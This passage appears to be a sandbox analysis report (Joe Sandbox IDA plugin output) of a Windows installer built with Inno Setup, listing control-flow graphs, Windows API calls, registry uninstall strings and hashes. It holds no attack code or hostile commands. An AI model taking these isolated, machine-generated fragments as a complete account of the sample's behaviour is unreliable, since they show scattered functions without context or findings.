2609->2577 2610->2577 2622 4686b2-4686d5 call 40b24c call 406ac4 2614->2622 2641 468788-4687bf call 47c26c call 44cb0c 2616->2641 2642 468758-468786 call 47c26c call 44cbdc 2616->2642 2617->2618 2625 4687f5-4687fc 2617->2625 2626 4688d6-4688df 2618->2626 2627 46886f-468886 call 40b24c 2618->2627 2673 4686d7-4686da 2622->2673 2674 4686dc-4686e0 2622->2674 2625->2618 2636 4687fe-468809 2625->2636 2634 4688e1-4688f9 call 40b24c call 4699fc 2626->2634 2635 4688fe-468913 call 466ee0 call 466c5c 2626->2635 2656 4688c6-4688d4 call 4699fc 2627->2656 2657 468888-4688c4 call 40b24c call 4699fc * 2 call 46989c 2627->2657 2634->2635 2682 468965-46896f call 414a44 2635->2682 2683 468915-468938 call 42a040 call 40b24c 2635->2683 2636->2635 2644 46880f-468813 2636->2644 2684 4687c4-4687c8 2641->2684 2642->2684 2655 468815-46882b call 40b24c 2644->2655 2679 46885e-468862 2655->2679 2680 46882d-468859 call 42a05c call 4699fc call 46989c 2655->2680 2656->2635 2657->2635 2663->2664 2675 468664-468676 call 406ac4 2663->2675 2664->2589 2664->2598 2673->2597 2674->2597 2674->2622 2675->2664 2701 468678-468682 2675->2701 2679->2655 2694 468864 2679->2694 2680->2635 2696 468974-468993 call 414a44 2682->2696 2715 468943-468952 call 414a44 2683->2715 2716 46893a-468941 2683->2716 2692 4687d3-4687d5 2684->2692 2693 4687ca-4687d1 2684->2693 2700 4687dc-4687e0 2692->2700 2693->2692 2693->2700 2694->2635 2711 468995-4689b8 call 42a040 call 469b5c 2696->2711 2712 4689bd-4689e0 call 47c26c call 403450 2696->2712 2700->2606 2700->2616 2701->2664 2706 468684 2701->2706 2706->2664 2711->2712 2730 4689e2-4689eb 2712->2730 2731 4689fc-468a05 2712->2731 2715->2696 2716->2715 2720 468954-468963 call 414a44 2716->2720 2720->2696 2730->2731 2734 4689ed-4689fa call 47c440 2730->2734 2732 468a07-468a19 call 403684 2731->2732 2733 468a1b-468a2b call 403494 2731->2733 2732->2733 2742 468a2d-468a38 call 403494 2732->2742 2741 468a3d-468a54 call 414b18 2733->2741 2734->2741 2746 468a56-468a5d 2741->2746 2747 468a8a-468a94 call 414a44 2741->2747 2742->2741 2749 468a5f-468a68 2746->2749 2750 468a6a-468a74 call 42b0e4 2746->2750 2752 468a99-468abe call 403400 * 3 2747->2752 2749->2750 2753 468a79-468a88 call 414a44 2749->2753 2750->2753 2753->2752
                                                                                          APIs
                                                                                            • Part of subcall function 004958CC: GetWindowRect.USER32(00000000), ref: 004958E2
                                                                                          • LoadBitmapA.USER32(00400000,STOPIMAGE), ref: 00467773
                                                                                            • Part of subcall function 0041D6B0: GetObjectA.GDI32(?,00000018,0046778D), ref: 0041D6DB
                                                                                            • Part of subcall function 00467180: SHGetFileInfo.SHELL32(c:\directory,00000010,?,00000160,00001010), ref: 00467223
                                                                                            • Part of subcall function 00467180: ExtractIconA.SHELL32(00400000,00000000,?), ref: 00467249
                                                                                            • Part of subcall function 00467180: ExtractIconA.SHELL32(00400000,00000000,00000027), ref: 004672A0
                                                                                            • Part of subcall function 00466B40: KiUserCallbackDispatcher.NTDLL(?,?,00000000,?,00467828,00000000,00000000,00000000,0000000C,00000000), ref: 00466B58
                                                                                            • Part of subcall function 00495B50: MulDiv.KERNEL32(0000000D,?,0000000D), ref: 00495B5A
                                                                                            • Part of subcall function 0042ED38: GetProcAddress.KERNEL32(00000000,SHAutoComplete), ref: 0042EDA8
                                                                                            • Part of subcall function 0042ED38: SHAutoComplete.SHLWAPI(00000000,00000001), ref: 0042EDC5
                                                                                            • Part of subcall function 0049581C: GetDC.USER32(00000000), ref: 0049583E
                                                                                            • Part of subcall function 0049581C: SelectObject.GDI32(?,00000000), ref: 00495864
                                                                                            • Part of subcall function 0049581C: ReleaseDC.USER32(00000000,?), ref: 004958B5
                                                                                            • Part of subcall function 00495B40: MulDiv.KERNEL32(0000004B,?,00000006), ref: 00495B4A
                                                                                          • GetSystemMenu.USER32(00000000,00000000,0000000C,00000000,00000000,00000000,00000000,021DFC84,021E197C,?,?,021E19AC,?,?,021E19FC,?), ref: 004683FD
                                                                                          • AppendMenuA.USER32(00000000,00000800,00000000,00000000), ref: 0046840E
                                                                                          • AppendMenuA.USER32(00000000,00000000,0000270F,00000000), ref: 00468426
                                                                                            • Part of subcall function 0042A05C: SendMessageA.USER32(00000000,0000014E,00000000,00000000), ref: 0042A072
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Menu$AppendExtractIconObject$AddressAutoBitmapCallbackCompleteDispatcherFileInfoLoadMessageProcRectReleaseSelectSendSystemUserWindow
                                                                                          • String ID: $(Default)$STOPIMAGE$%H
                                                                                          • API String ID: 3231140908-2624782221
                                                                                          • Opcode ID: cd61aa661d0cbe35304877807cea77ca0702e96d718fc27b010991c92e86a780
                                                                                          • Instruction ID: 1a3196d4b4984e68f3522cc8585b165e0004af585c118fa25862355e2bbb38c0
                                                                                          • Opcode Fuzzy Hash: cd61aa661d0cbe35304877807cea77ca0702e96d718fc27b010991c92e86a780
                                                                                          • Instruction Fuzzy Hash: 95F2C6346005248FCB00EF69D9D9F9973F1BF49304F1582BAE5049B36ADB74AC46CB9A
                                                                                          APIs
                                                                                          • FindFirstFileA.KERNEL32(00000000,?,00000000,004750F2,?,?,0049C1E0,00000000), ref: 00474FE1
                                                                                          • FindNextFileA.KERNEL32(00000000,?,00000000,?,00000000,004750F2,?,?,0049C1E0,00000000), ref: 004750BE
                                                                                          • FindClose.KERNEL32(00000000,00000000,?,00000000,?,00000000,004750F2,?,?,0049C1E0,00000000), ref: 004750CC
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Find$File$CloseFirstNext
                                                                                          • String ID: unins$unins???.*
                                                                                          • API String ID: 3541575487-1009660736
                                                                                          • Opcode ID: 490a2bf6f62b777b12f8bb075fd261ec892e44da2a65e6c72c5e66397d3a6b60
                                                                                          • Instruction ID: 191fa049ef1442540897bd6b232d6b1da598bf4afdbbee48782243349675ce5a
                                                                                          • Opcode Fuzzy Hash: 490a2bf6f62b777b12f8bb075fd261ec892e44da2a65e6c72c5e66397d3a6b60
                                                                                          • Instruction Fuzzy Hash: 95315074A00548ABCB10EB65CD81BDEB7A9DF45304F50C0B6E40CAB3A2DB789F418B59
                                                                                          APIs
                                                                                          • FindFirstFileA.KERNEL32(00000000,?,00000000,00452AC3,?,?,-00000001,00000000), ref: 00452A9D
                                                                                          • GetLastError.KERNEL32(00000000,?,00000000,00452AC3,?,?,-00000001,00000000), ref: 00452AA5
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ErrorFileFindFirstLast
                                                                                          • String ID:
                                                                                          • API String ID: 873889042-0
                                                                                          • Opcode ID: 9c675a8f1f28b386d0fa8c71b8ecb41695e84785a8bb79b0d9bc0322d07a8b6a
                                                                                          • Instruction ID: 3e58272229af866f17ac5928e9872a720c3be2d4903e778e839a846eb7d55d53
                                                                                          • Opcode Fuzzy Hash: 9c675a8f1f28b386d0fa8c71b8ecb41695e84785a8bb79b0d9bc0322d07a8b6a
                                                                                          • Instruction Fuzzy Hash: 94F0F971A04604AB8B10EF669D4149EF7ACEB8672571046BBFC14E3282DAB84E0485A8
                                                                                          APIs
                                                                                          • GetVersion.KERNEL32(000003F3,0046E17A), ref: 0046E0EE
                                                                                          • CoCreateInstance.OLE32(00499B98,00000000,00000001,00499BA8,?,000003F3,0046E17A), ref: 0046E10A
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CreateInstanceVersion
                                                                                          • String ID:
                                                                                          • API String ID: 1462612201-0
                                                                                          • Opcode ID: 323ef6e325584454da74969db5385277b15969f7569c16a340aaa36caeb4eadb
                                                                                          • Instruction ID: e32462cabb755f907f5de1887460af807d545ab7c9798ff14e002636b2035e3f
                                                                                          • Opcode Fuzzy Hash: 323ef6e325584454da74969db5385277b15969f7569c16a340aaa36caeb4eadb
                                                                                          • Instruction Fuzzy Hash: 90F0A7352812009FEB10975ADC86B8937C47B22315F50007BE04497292D2BD94C0471F
                                                                                          APIs
                                                                                          • GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0049B4C0,00000001,?,00408633,?,00000000,00408712), ref: 00408586
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: InfoLocale
                                                                                          • String ID:
                                                                                          • API String ID: 2299586839-0
                                                                                          • Opcode ID: 64da881718ef9bfb5c3691e8182369eeaf442f2681d4624e7b5adc518b999176
                                                                                          • Instruction ID: 8daab3ef8e56b0da8b8c23f45c5b5388ad46b50bd825570c2d348c61856efc62
                                                                                          • Opcode Fuzzy Hash: 64da881718ef9bfb5c3691e8182369eeaf442f2681d4624e7b5adc518b999176
                                                                                          • Instruction Fuzzy Hash: BFE0223170021466C311AA2A9C86AEAB34C9758310F00427FB904E73C2EDB89E4042A8
                                                                                          APIs
                                                                                          • NtdllDefWindowProc_A.USER32(?,?,?,?,?,00424151,?,00000000,0042415C), ref: 00423BAE
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: NtdllProc_Window
                                                                                          • String ID:
                                                                                          • API String ID: 4255912815-0
                                                                                          • Opcode ID: 03c86555d74cd6010afd77b9e61a524e96c156e733cd5bd8e2feacc4387cef90
                                                                                          • Instruction ID: a748582893d7571d6ac8bdbe819d0a8fbf5f36db2d3505b6f19a51c7a0bbae16
                                                                                          • Opcode Fuzzy Hash: 03c86555d74cd6010afd77b9e61a524e96c156e733cd5bd8e2feacc4387cef90
                                                                                          • Instruction Fuzzy Hash: 47F0B979205608AF8B40DF99C588D4ABBE8AB4C260B058195B988CB321C234ED808F90
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: NameUser
                                                                                          • String ID:
                                                                                          • API String ID: 2645101109-0
                                                                                          • Opcode ID: 969018677e36c7ee3cac7a31a88a81c68082f6a067fe28717e4d5eb0c099a74a
                                                                                          • Instruction ID: 9f318ec9847dd9a6abcb639c8bc611599857aea0b867fcad4bfaeec6bdb042bf
                                                                                          • Opcode Fuzzy Hash: 969018677e36c7ee3cac7a31a88a81c68082f6a067fe28717e4d5eb0c099a74a
                                                                                          • Instruction Fuzzy Hash: 8FD0C27230470473CB00AA689C825AA35CD8B84305F00483E3CC5DA2C3FABDDA485756
                                                                                          APIs
                                                                                          • NtdllDefWindowProc_A.USER32(?,?,?,?), ref: 0042F53C
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: NtdllProc_Window
                                                                                          • String ID:
                                                                                          • API String ID: 4255912815-0
                                                                                          • Opcode ID: 9e43cbcd657a147b44e82c26281af1c584f356d37a2e763e4ec43db1fd6d4cd6
                                                                                          • Instruction ID: 7ca9c19e24a5def9c493c34941f9da96f9ca037215ec7a65a90973bf7a04e639
                                                                                          • Opcode Fuzzy Hash: 9e43cbcd657a147b44e82c26281af1c584f356d37a2e763e4ec43db1fd6d4cd6
                                                                                          • Instruction Fuzzy Hash: FCD09E7120011D7B9B00DE99E840D6B33AD9B88710B909925F945D7642D634ED9197A5

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 844 46f058-46f08a 845 46f0a7 844->845 846 46f08c-46f093 844->846 849 46f0ae-46f0e6 call 403634 call 403738 call 42dec0 845->849 847 46f095-46f09c 846->847 848 46f09e-46f0a5 846->848 847->845 847->848 848->849 856 46f101-46f12a call 403738 call 42dde4 849->856 857 46f0e8-46f0fc call 403738 call 42dec0 849->857 865 46f12c-46f135 call 46ed28 856->865 866 46f13a-46f163 call 46ee44 856->866 857->856 865->866 870 46f175-46f178 call 403400 866->870 871 46f165-46f173 call 403494 866->871 875 46f17d-46f1c8 call 46ee44 call 42c3fc call 46ee8c call 46ee44 870->875 871->875 884 46f1de-46f1ff call 45559c call 46ee44 875->884 885 46f1ca-46f1dd call 46eeb4 875->885 892 46f255-46f25c 884->892 893 46f201-46f254 call 46ee44 call 431404 call 46ee44 call 431404 call 46ee44 884->893 885->884 894 46f25e-46f29b call 431404 call 46ee44 call 431404 call 46ee44 892->894 895 46f29c-46f2a3 892->895 893->892 894->895 899 46f2e4-46f309 call 40b24c call 46ee44 895->899 900 46f2a5-46f2e3 call 46ee44 * 3 895->900 919 46f30b-46f316 call 47c26c 899->919 920 46f318-46f321 call 403494 899->920 900->899 929 46f326-46f331 call 478e04 919->929 920->929 934 46f333-46f338 929->934 935 46f33a 929->935 936 46f33f-46f509 call 403778 call 46ee44 call 47c26c call 46ee8c call 403494 call 40357c * 2 call 46ee44 call 403494 call 40357c * 2 call 46ee44 call 47c26c call 46ee8c call 47c26c call 46ee8c call 47c26c call 46ee8c call 47c26c call 46ee8c call 47c26c call 46ee8c call 47c26c call 46ee8c call 47c26c call 46ee8c call 47c26c call 46ee8c call 47c26c call 46ee8c call 47c26c 934->936 935->936 999 46f51f-46f52d call 46eeb4 936->999 1000 46f50b-46f51d call 46ee44 936->1000 1004 46f532 999->1004 1005 46f533-46f57c call 46eeb4 call 46eee8 call 46ee44 call 47c26c call 46ef4c 1000->1005 1004->1005 1016 46f5a2-46f5af 1005->1016 1017 46f57e-46f5a1 call 46eeb4 * 2 1005->1017 1019 46f5b5-46f5bc 1016->1019 1020 46f67e-46f685 1016->1020 1017->1016 1024 46f5be-46f5c5 1019->1024 1025 46f629-46f638 1019->1025 1021 46f687-46f6bd call 494cec 1020->1021 1022 46f6df-46f6f5 RegCloseKey 1020->1022 1021->1022 1024->1025 1029 46f5c7-46f5eb call 430bcc 1024->1029 1028 46f63b-46f648 1025->1028 1032 46f65f-46f678 call 430c08 call 46eeb4 1028->1032 1033 46f64a-46f657 1028->1033 1029->1028 1039 46f5ed-46f5ee 1029->1039 1042 46f67d 1032->1042 1033->1032 1035 46f659-46f65d 1033->1035 1035->1020 1035->1032 1041 46f5f0-46f616 call 40b24c call 479630 1039->1041 1047 46f623-46f625 1041->1047 1048 46f618-46f61e call 430bcc 1041->1048 1042->1020 1047->1041 1050 46f627 1047->1050 1048->1047 1050->1028
                                                                                          APIs
                                                                                            • Part of subcall function 0046EE44: RegSetValueExA.ADVAPI32(?,Inno Setup: Setup Version,00000000,00000001,00000000,00000001,0047620E,?,0049C1E0,?,0046F15B,?,00000000,0046F6F6,?,_is1), ref: 0046EE67
                                                                                            • Part of subcall function 0046EEB4: RegSetValueExA.ADVAPI32(?,NoModify,00000000,00000004,00000000,00000004,00000001,?,0046F532,?,?,00000000,0046F6F6,?,_is1,?), ref: 0046EEC7
                                                                                          • RegCloseKey.ADVAPI32(?,0046F6FD,?,_is1,?,Software\Microsoft\Windows\CurrentVersion\Uninstall\,00000000,0046F748,?,?,0049C1E0,00000000), ref: 0046F6F0
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Value$Close
                                                                                          • String ID: " /SILENT$5.5.3 (a)$Comments$Contact$DisplayIcon$DisplayName$DisplayVersion$EstimatedSize$HelpLink$HelpTelephone$Inno Setup: App Path$Inno Setup: Deselected Components$Inno Setup: Deselected Tasks$Inno Setup: Icon Group$Inno Setup: Language$Inno Setup: No Icons$Inno Setup: Selected Components$Inno Setup: Selected Tasks$Inno Setup: Setup Type$Inno Setup: Setup Version$Inno Setup: User$Inno Setup: User Info: Name$Inno Setup: User Info: Organization$Inno Setup: User Info: Serial$InstallDate$InstallLocation$MajorVersion$MinorVersion$ModifyPath$NoModify$NoRepair$Publisher$QuietUninstallString$Readme$RegisterPreviousData$Software\Microsoft\Windows\CurrentVersion\Uninstall\$URLInfoAbout$URLUpdateInfo$UninstallString$_is1
                                                                                          • API String ID: 3391052094-3342197833
                                                                                          • Opcode ID: 41e5a022c9dfc144d242315d0234d20c9f1df57cded100a3ade253d049a3cf6c
                                                                                          • Instruction ID: 0d1426ff9ce9a688a4d167ea33859b9e50b28094dc6fe7db73e07d6bdcf854ec
                                                                                          • Opcode Fuzzy Hash: 41e5a022c9dfc144d242315d0234d20c9f1df57cded100a3ade253d049a3cf6c
                                                                                          • Instruction Fuzzy Hash: D1125935A001089BDB04EF95E881ADE73F5EB48304F24817BE8506B366EB79AD45CF5E

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 1051 492848-49287c call 403684 1054 49287e-49288d call 446f9c Sleep 1051->1054 1055 492892-49289f call 403684 1051->1055 1060 492d22-492d3c call 403420 1054->1060 1061 4928ce-4928db call 403684 1055->1061 1062 4928a1-4928c4 call 446ff8 call 403738 FindWindowA call 447278 1055->1062 1070 49290a-492917 call 403684 1061->1070 1071 4928dd-492905 call 446ff8 call 403738 FindWindowA call 447278 1061->1071 1080 4928c9 1062->1080 1078 492919-49295b call 446f9c * 4 SendMessageA call 447278 1070->1078 1079 492960-49296d call 403684 1070->1079 1071->1060 1078->1060 1090 4929bc-4929c9 call 403684 1079->1090 1091 49296f-4929b7 call 446f9c * 4 PostMessageA call 4470d0 1079->1091 1080->1060 1100 492a18-492a25 call 403684 1090->1100 1101 4929cb-492a13 call 446f9c * 4 SendNotifyMessageA call 4470d0 1090->1101 1091->1060 1113 492a52-492a5f call 403684 1100->1113 1114 492a27-492a4d call 446ff8 call 403738 RegisterClipboardFormatA call 447278 1100->1114 1101->1060 1125 492a61-492a9b call 446f9c * 3 SendMessageA call 447278 1113->1125 1126 492aa0-492aad call 403684 1113->1126 1114->1060 1125->1060 1138 492aaf-492aef call 446f9c * 3 PostMessageA call 4470d0 1126->1138 1139 492af4-492b01 call 403684 1126->1139 1138->1060 1152 492b48-492b55 call 403684 1139->1152 1153 492b03-492b43 call 446f9c * 3 SendNotifyMessageA call 4470d0 1139->1153 1164 492baa-492bb7 call 403684 1152->1164 1165 492b57-492b75 call 446ff8 call 42e394 1152->1165 1153->1060 1175 492bb9-492be5 call 446ff8 call 403738 call 446f9c GetProcAddress 1164->1175 1176 492c31-492c3e call 403684 1164->1176 1185 492b87-492b95 GetLastError call 447278 1165->1185 1186 492b77-492b85 call 447278 1165->1186 1206 492c21-492c2c call 4470d0 1175->1206 1207 492be7-492c1c call 446f9c * 2 call 447278 call 4470d0 1175->1207 1187 492c40-492c61 call 446f9c FreeLibrary call 4470d0 1176->1187 1188 492c66-492c73 call 403684 1176->1188 1194 492b9a-492ba5 call 447278 1185->1194 1186->1194 1187->1060 1203 492c98-492ca5 call 403684 1188->1203 1204 492c75-492c93 call 446ff8 call 403738 CreateMutexA 1188->1204 1194->1060 1215 492cdb-492ce8 call 403684 1203->1215 1216 492ca7-492cd9 call 48ccc8 call 403574 call 403738 OemToCharBuffA call 48cce0 1203->1216 1204->1060 1206->1060 1207->1060 1228 492cea-492d1c call 48ccc8 call 403574 call 403738 CharToOemBuffA call 48cce0 1215->1228 1229 492d1e 1215->1229 1216->1060 1228->1060 1229->1060
                                                                                          APIs
                                                                                          • Sleep.KERNEL32(00000000,00000000,00492D3D,?,?,?,?,00000000,00000000,00000000), ref: 00492888
                                                                                          • FindWindowA.USER32(00000000,00000000), ref: 004928B9
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: FindSleepWindow
                                                                                          • String ID: CALLDLLPROC$CHARTOOEMBUFF$CREATEMUTEX$FINDWINDOWBYCLASSNAME$FINDWINDOWBYWINDOWNAME$FREEDLL$LOADDLL$OEMTOCHARBUFF$POSTBROADCASTMESSAGE$POSTMESSAGE$REGISTERWINDOWMESSAGE$SENDBROADCASTMESSAGE$SENDBROADCASTNOTIFYMESSAGE$SENDMESSAGE$SENDNOTIFYMESSAGE$SLEEP
                                                                                          • API String ID: 3078808852-3310373309
                                                                                          • Opcode ID: 543bbb3fa16e1ad260fa6bca8d7f7bf65573201bf2c1e3a3e9abb38e798cd817
                                                                                          • Instruction ID: 092cd3663c6e49ee7eb77a287a3c2ed341282e51176ce6ebc4a466309821376d
                                                                                          • Opcode Fuzzy Hash: 543bbb3fa16e1ad260fa6bca8d7f7bf65573201bf2c1e3a3e9abb38e798cd817
                                                                                          • Instruction Fuzzy Hash: D9C182A0B042003BDB14BF3E9D4551F59A99F95708B119A3FB446EB78BCE7CEC0A4359

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 1621 483a7c-483aa1 GetModuleHandleA GetProcAddress 1622 483b08-483b0d GetSystemInfo 1621->1622 1623 483aa3-483ab9 GetNativeSystemInfo GetProcAddress 1621->1623 1624 483b12-483b1b 1622->1624 1623->1624 1625 483abb-483ac6 GetCurrentProcess 1623->1625 1626 483b2b-483b32 1624->1626 1627 483b1d-483b21 1624->1627 1625->1624 1632 483ac8-483acc 1625->1632 1630 483b4d-483b52 1626->1630 1628 483b23-483b27 1627->1628 1629 483b34-483b3b 1627->1629 1633 483b29-483b46 1628->1633 1634 483b3d-483b44 1628->1634 1629->1630 1632->1624 1635 483ace-483ad5 call 45271c 1632->1635 1633->1630 1634->1630 1635->1624 1639 483ad7-483ae4 GetProcAddress 1635->1639 1639->1624 1640 483ae6-483afd GetModuleHandleA GetProcAddress 1639->1640 1640->1624 1641 483aff-483b06 1640->1641 1641->1624
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00483A8D
                                                                                          • GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00483A9A
                                                                                          • GetNativeSystemInfo.KERNELBASE(?,00000000,GetNativeSystemInfo,kernel32.dll), ref: 00483AA8
